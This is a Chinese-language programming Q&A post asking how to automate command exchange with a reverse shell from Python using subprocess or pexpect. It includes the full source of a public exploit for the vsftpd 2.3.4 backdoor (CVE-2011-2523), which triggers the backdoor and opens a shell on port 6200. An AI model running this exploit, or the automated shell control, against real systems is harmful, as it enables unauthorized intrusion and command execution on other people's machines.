【发布时间】:2021-08-28 10:14:03
【问题描述】:
我想“自动化”脚本给出的反向 shell。让我解释一下:
上下文:易受攻击的机器上有后门。
我在做什么:我创建了一个 subprocess,它执行一个脚本(python、perl、...)并给了我一个反向 shell。
Popen(["python", "/opt/exploits/backdoor.py", remote_ip], stderr=PIPE).communicate()
我想做的事:除了运行我的脚本运行我的反向 shell,我还希望能够使用方法与它进行交互。
今天,我可以在反向 shell 的终端中手动编写:我用Popen 调用的脚本运行并使用后门。这给了我一个反向 shell,我可以输入我的命令。
明天,我希望能够在执行此反向 shell 期间调用方法:我使用 Popen 运行一个脚本,它利用后门并给了我一个 shell。而不是手动输入命令,我希望自动将一系列命令发送到这个反向 shell,并且对于每个命令,我都能够恢复返回的数据。
理想情况下,我想要这样的东西:
backdoor.execute() //This method allow me to get a reverse shell
backdoor.send("whoami") //This method allow me to send a command to the reverse shell and to get the result
.
.
backdoor.finish() //This method allow to close the reverse shell
我没有成功的尝试:我尝试使用 subprocess 模块的 Popen 类来重定向脚本的输入和/或输出
Popen(["python", /opt/exploits/backdoor.py, remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate()
但是,当尝试重定向这两个流(或仅其中一个流)时,我的反向 shell 会像打开一样快地关闭。
我也尝试将我的命令直接放在communicate() 方法上:
Popen(["python", "/opt/exploits/backdoor.py", remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate(b"whoami")
我在输入和/或输出重定向和不重定向的情况下都试过了,但没有任何效果。
最后,我尝试使用pexpect 模块来运行我的脚本以获得反向shell,但我没有任何结论(可能是我做错了)。
PS:我无法更改允许我使用后门的脚本代码。
backdoor.py
# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021
# Exploit Author: HerculesRD
# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html
# Version: vsftpd 2.3.4
# Tested on: debian
# CVE : CVE-2011-2523
#!/usr/bin/python3
from telnetlib import Telnet
import argparse
from signal import signal, SIGINT
from sys import exit
def handler(signal_received, frame):
# Handle any cleanup here
print(' [+]Exiting...')
exit(0)
signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line
user="USER nergal:)"
password="PASS pass"
tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")
tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()
【问题讨论】:
-
如果你不显示
backdoor.py的代码,谁能知道发生了什么? -
@Armali 我已经编辑了我的帖子,你现在可以看后门了。这是一个简单的 telnet 连接。我想用直接与这个反向 shell 交互的方法替换我在终端中手动输入的命令。
-
你没有检查显示的第二个
Popen(…).communicate(…)的返回值吗? -
是的,它返回 None 因为我认为“whoami”命令会立即发送,并且反向 shell 需要一点时间来设置。
-
嗯 - 设置时间 应该无关紧要,因为documentation 说:等待进程终止。这一定是你说的那个问题,当我将输入重定向到输出时,我的 shell 会立即退出。
标签: python shell subprocess python-3.8 pexpect